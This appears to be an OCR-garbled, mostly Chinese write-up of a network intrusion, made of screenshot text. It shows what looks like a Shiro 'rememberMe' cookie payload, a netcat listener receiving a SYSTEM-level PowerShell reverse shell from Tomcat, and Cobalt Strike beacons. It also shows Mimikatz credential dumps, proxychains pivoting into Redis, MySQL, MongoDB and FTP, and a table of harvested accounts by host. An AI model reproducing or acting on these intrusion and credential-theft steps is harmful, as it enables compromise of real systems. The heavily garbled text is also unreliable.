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J Raw T Params I Headers ] Hex ]

GET / HTTP/1.1

Host: = s

User—Agent: Mozilla/5.0 (Windows NT 10.0; Winf4; x64; rv:36.0) Gecko/20100101 Firefox/56.0
Accept: text/html, application/xhtml+xml, application/xml;q=0.9, */*;¢=0.8

Accept-Language: en-US, en;q=0.5

Accept-Encoding: gzip, deflate

Cookie:

TememberMe=CWOYp) grWzlyLes e HY a0PwzlVGan 1 FPvQNo ] Bue cit 3 NoevnAch tol g4 Vil ) JQNU T ngFPIr Ty el guv ID4nL el
BCmZZZ4qb313n1qStuxjMTUSTemzYz5Rg0cBwNOB THVNX oGIMZ dwwep cBO8o3VmwT 4SMm0g 3KqoP 2TKa0k /mdKSgMe8x / jVFVS1Qpf Name
INNK 1S3 2p W NaP Ry 1A 7 Thn /n0 18R 1pN5 1 Balie ThV+PAN4 /4N S0welr i G4H0NM 1 w74 VAR 1 Tah] 11 0R+uKyr 4+ UL AeMa a2 x¥heaFN5
| | . " o 776 N
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powershellfzs& |, 39K , BRSS=REHEKIGIE , TAERZ

=/

L1sten1ng

Connection from

Microsoft

powershell.exeE2#EIE{tBHF3

U2 pIhzEEshell :

on [0.0.0.0] (family @, port 12345)
‘ ] port 12345 [tcp/*] accepted (family 2, sport 54980)

Windows [°¥ 6.1.7600]

8¢ (c) 2009 Microsoft Corporationif+f €E{if

E:!

FiTwW
E:\

whoaml
nt aut

#\Tomcat7 mh>j

hoami , AsystemiV[fR :

\Tomcat7 mh\webapps\ROOT>whoami

hority\system
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N EHITAMSIE | XAcobalt strike 2wz

& C O 0O F==

Directory listing for /
e payload.ps1
A 230 B g T 172.16.212.121 SYSTEM * WIN-8N'
N
BN 1élh:emii1l9o  192.168.1.3 AuditSys WIN-FPI
BN 1IRET2134.89 192.168.10.29 SYSTEM * CHAOXI
BN 277 7143201 192.168.21.221 SYSTEM * WIN-7V
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BEERRNMHE

5= HE:\I N i "ulll 1 \Tomcat7_mh

—

]

Name

lib

logs

work
temp

bin

conf
webapps
tomcat.ico
LICENSE
NOTICE
Uninstall.exe
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SXFmimikatzpy IEEENRFRRVED -

Logon Time : 2019/2/25 16:21:06
SID : $—-1-5-21-98787052-1019704292-89126121-1011
asv :
[00000003] Primary
* Username : MYSQL_SF 8EUGQP
* Domain : WIN-TV116LF2L4K
* LN s 2 -
* NTLM : add & =
* SHAl : 9w =t

tspkg :

* Username : MYSQL_SF 8EUGQP

* Domain : WIN-7V116LF2L4K

* Password : mil Wiy ud
wdigest :

* Username : NMYSQL_SF_S8EUGQP

* Domain : WIN-TV116LF2L4K

* Password : BEFLIE TN
kerberos :

* Username : MYSQL_SF_8EUGQP

* Domain : WIN-TV116LF2L4K

% Password : =i Whs' udl By
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I ES TR ARl v
AphpMyAdmingsO<EEGEE B

“ € @ 192.168.44 & mhpmyadmin/index.php?db=cps&token=4dae7bda2768f83e9b2acs o % 3 Q e
INT v = @ SQL- XSS+ Encryption- Encoding- Other-

& Load URL

“f Split URL

» Execute

[[] Enable Post data [_] Enable Referrer

phpMyAdmin |7

sl L] saL LR il GHH L8N F = PR S ©Rg x mas
@ 8l 8 © .
E . =E om oo X% ¥ K E=3
@ 0O = | N x BR EA @A © B 53 MyISAM utf8_general_ci 6.6 KB -
i L] s R 8 ¢ B BN B @ e 3 MyISAM utf8 general ci 2.2 KB =
(BT EAEEE) ... j O mams IR WG @ BR A @ @ g 15 MylSAM utf8_general ci 2.4 KB -
] 0 # Mem_rec || b &1 < B M EA @A O MR 2 MylSAM utf8_general ci 2.1 KB -
O = TS WS % R 3B\ BAE O M 3 MylSAM utf8_general_ci 2.1 K8 =
O s=gee RS S ¢ BR A AT @ e 3 MyISAM utf8_general_ci 2.2 XB -
O === RS Sl g MR 3l @R @ e 5 MyISAM utf8_general_ci 2.1 KB -
O] - - IS A ¢ R BN REE @ e 13 MyISAM utf8_general ci 2.4 KB -
O s RS S x BR A @A @ B 19 MyISAM utf8_general_ci 2.7 KB -
[ Ses sSan RS e g BE 3B\ @ 9 R 16 MyISAM utf8 general_ci 3 K8 -
0O & RS WS f BR 3l @8 @ e 1 MylSAM utf8_general_ci 2 KB -
] R s 2 B BN\ N O B 42 MyISAM utf8 general_ci 4.3 KB -
O - RS LSS 2 BER )\ R @ e 91 MylSAM utf8_general ci 8.9 KB -
O == IR b iStE g R A AT @ e 15 MyISAM utfS8_general _ci 2.8 KB -
O pe= RS sl B JEA @8 9 M 2 MyISAM utf8_general_ci 3.1 KB 728 &%
| T O = LS &8 3 BR 3B SRE O Mg 290 MyISAM utf8 general ci 36.8 KB -
i O = v | RS i o BR A @A @ e 6 MyISAM utf8_general_ci 2.1 KB -
| P (R | R b R g IR < A BN O AR 594 MyISAM utf8 general ci 85.4 K8 =
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INT ~| = @& SQOL- XSS+ Encryption~ Encodingr Otherr

& Load URL

B split URL

b Execute

[ Enable Post data

‘ aso .IIE

[ Enable Referrer

=Ll FEEES

RIETREREE SRITT R ER SR RE ST SHIXAEEES
ERIEIBR SRR E, SEBERIEE R SMAERAT
SiEnE > — O X s0=mkE
7% 2o 25 i s2gel ™
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http://192.168.**/

IBLZEf) © 1

FE7SocksRIE, AFERMIAHE, LI AERediskFEANIA(E :

root@lonehand:~/proxychains# proxychains telnet 192.168.21.185 6379

ProxyChains-3.1 (http://proxychains.sf.net) _ _

Trying 192.162 77 18s root@lonehand:~/proxychains# proxychains telnet 192.1628.21.35 6379
|s-chain| -<= . 192 . 1¢ ProxyChains-3.1 (http://proxychains.sf.net)

: Trying 192.168.21.35
Connected to 192. root@lonehand:~/proxychains# i IS%fchginl—-c::- - 102 . 168,21 .35 : 6370 - <mc=- 0K

Escape character ProxyChains-3.1 (http://proxy¢ connected to 192.168.21.35.
info Trying 182.168 21 35 Escape character 1s "~]'.
£2154 |S-chain| -<=> info

# Server Connected to 192.168.21.35. 2176

redis version:3,2Escape character 1s '~]"'. # Server
redis_git_shal:esanfo redis_version:3.2.12
redis git dirty:8 352176 redis git shal:0e000000

redis _build id: 1d# Server redis_git_dirty:®
radis I'I'I'.'.Il.'.||.=' =tandsredis_version:3.2.12 redis_build_1d:7897e7deel3773f
os:Linux 3.16.08- E“redlg git_shal:pe000000 redis_mode:standalone
h bits:64 redis_git dirty:@ os:Linux 5.0.2-1.el7.elrepo.x86 64 x86 64

arc . CT=ST =" 4 c -

ltipl . redis_build 1d:?89?e?d5313??3ﬂar'Ch—.bltE'.M :
multiplexing_api:i dis mode:standal multiplexing api:epoll
gee version:a. g 5 redis_mode:standalone

. gcc_version:4.8.5
orocess id:1557 os:Linux E'B'E'I'EIT'E“EPG'KEpmcegg_id:s?ﬁ.q

r'L;n_ld:E-: 1ﬁ;chl::5|ar{|;—.b{tg 164 . 11 run_1d:726e74af288ala386fc6ab5721e1d656¢5558917
TI:FI p-:lrt:ﬁ:','.-'l;“r mu lp E.'}_{lr‘lg_apl.epn tcp_part:63?9
uotime in seconds gcc_version:4.8.5 uptime_in_seconds:106515
pLime_Lh_ process_1d:8754 uptime in davs:1
uptime 1n days:20 - P —1n_cay
pLLIE_1R_Hays Y run 1d:726e74af288ala386fc6ab hz: 10
hz:16 tcp_port:6379 lru_clock:9477136
uptime_in_seconds:1086515 execgtabl_e:fusrfbinfredia-server
uptime_1in dayg 1 config_file:/etc/redis.conf

il 10
*5 ._J_r_u clack 19477136




BhZE : fEmsE
MongoDBZR#ZNIFIA] :

Host 1s up (0.004535 Llatency).
PORT STATE SERVICE
27017/tcp open unknown
| mongodb-1nfo:
|  MongoDB Build info
| ok = 1
| debug = false
| gitVersion = lef45a23a4c5e3480ac919b28afcha3ch15488f2
| sysInfo = Linux 1p-10-67-194-123 2.6.32-220.e16.x36_64 #1 SMP Wed Nov 9 ©8:03:13 EST 2011 x86_64 BOOST LIB VERSION=1 49
| loaderFlags =
| maxBsonObjectSize = 16777216
| OpenSSLVersion = OpenSSL 1.8.0-fips 29 Mar 2018
| version = 3.0.6
| bits = 64
| javascriptEngine = V8
| allocator = temalloc
| compilerFlags = -Wnon-virtual-dtor -Woverloaded-virtual -std=c++11 -fPIC -fno-strict-aliasing -ggdb -pthread -wWall -Wsign-compare -Wno-
unknown-pragmas -Winvalid-pch -pipe -Werror -03 -Wno-unused-local-typedefs -Wno-unused-function -Wno-deprecated-declarations -Wno-unused-but-
set-variable -Wno-missing-braces -fno-builtin-memcmp -std=c99
| versionArray
| 1=20
| B =3
| 3=0
| 2=68
|  Server status
] RIS R o

NIESIEZ 17




| e | < : \EE
IZEHZEG © EmZE
= /A7 3T 2\ .
FTPEER15(A)/550<F
Name (192.168.21.124:root): anonymous
- 192. 168. 67. 250 331 User name okay, please send complete E-mail address as
@ jo [ - Internet - 192 16867 250 + Password: |
R o= - 250 User Logged 1n, proceed.
o Remote system type 1s UNIX.

Connected to 192.168.76.2Using binary mode to transfer files.
1220 Serv-U FTP Server vﬁ.ftp} dir

IName (192.168.76.250:r00t 3pg pORT Command successful.

331 User name okay, pleas

S 150 Opening ASCII mode data connection for /bin/l1s.

1230 User logged 1in, pmcEdn-:-n-:-n-:- 1 user group B Nov 21 1@:34 2777777

Remote system type is UNIOrw-rw-rw- 1 user group O Dec 14 @8:32 7?1723 17
Using binary mode to tran226 Transfer complete.
ftp= dir ftp= |}

208 PORT Command successfu..
1150 Opening ASCII mode data connection for /bin/ls.
drw-rw-r- 1 user group 0 Mar 19 10:17 ??727%%27%7

drw- rw- rw- 1 user group B Mar 19 11:47 7777712727

226 Transfer complete.



IBRZEp - fEmsiE
MySQL55< :

root@lonehand:~/proxychains# proxychains mysql -u root -p -h 192.168.21.8
ProxyChains-3.1 (http://proxychains.sf.net)
Enter password:

- I - - . . BAINA -
L21§;;§nia{:he MySQL monitor LG:;;:d;ginéﬁiiiﬁ ? roat@lonehand ~/proxychains# proxychains mysql -u root -p -h 192.168.21.24

Your MySQL connection 1d 1s 41 ProxyChains-3.1 (http://proxychains.sf.net)

Server version: 5.1.41-community MySQL Community gEnter password:
|S-chain]|-<>- <=<>-192.168.21.24:3306-<><>-0K

Copyright (c) 2000, 2019, Oracle and/or its affili:Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection 1d 1s 22
Oracle 1s a registered trademark of Oracle CorporaiServer version: 5.6.24 MySQL Community Server (GPL)
affiliates. Other names may be trademarks of their
owners. Copyright (c) 2000, 2019, Oracle and/or 1ts affiliates. All rights reserved.

Type ‘help;* or "\h' for help. Type '\c' to clear 1gracle is a registered trademark of Oracle Corporation and/or its

affiliates. Other names may be trademarks of their respective
mysql> show databases; ——

Type 'help;' or *\h* for help. Type *\c' to clear the current 1input statement.

t1 h
tation_schema mysql} show databases;

5 rows in set (1.37 sec)

2 U 1 9 rI = E R KIS
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SqlServerZigitHEE -

CRRAUREANERSA:
FigEE2ER: [SqlServer LI bUIFRES I
ARSSE| aP): [192.168.21. 237 WO 143
Fige: |Db1ibrary
B/ 1ID: . PRCE [rrrrRRRRk
- B FediEhe R rRERE: —————————
B ititEIHA: IZOOBE 1818 - giuinn: MEFITINIE
AR A Faxd: PR j = |
~FERERFaIRXER:
xQ: Al Nl
FRHB: 18
BHiARAIE: [10:27:00 - ERAEERIFR: A2 _
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#H7oE | B |
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IBLZEf) - EmEsiE

BINZzE—EERAM—8SqlServer fRSesb), ZIBEERIT I GRS ES, 8 AmimikatzistEX
ZH, B INEREEY RS, EULCBINHREUSIENR . M4z &P ER B LTS,

user password realm = note
Guest 1 Lal 172_27 0_12
Administrator [ F | 172 27 0_12
cdsindx_1 [ | 172_27 0_12
administrator ] = CHAOXING-XUNDI
Administrator 1 CHAOXING-XUNDI
Administrator = CHAOXING-XUNDI
Administrator ' i iZ5361vzlow4qgjZ
Guest ! USER-082RJS69UH
suyan ba | | | USER-082RJS69UH
Guest  } USER-082RJS69UH
Administrator i | | USER-082R1S69UH
Guest o | USER-082RJS69UH
MYSQL_SF_BEUGQP WIN-7V116LF2L4K
MYSQL_SF_BEUGQF Faan - WIN-7V116LF2L4K
MSSQL_SF_4Q721N ) Bty | WIN-7V116LF2L4K
tqzx-web ol w WIN-7V116LF2L4K
tqzx-web | WIN-7V116LF2L4K
MSSQL_SF_4Q721N o - T WIN-7V116LF2L4K
Administrator i L WIN-8N9418L9F88

W= £ /R ER
/EIIE%I%
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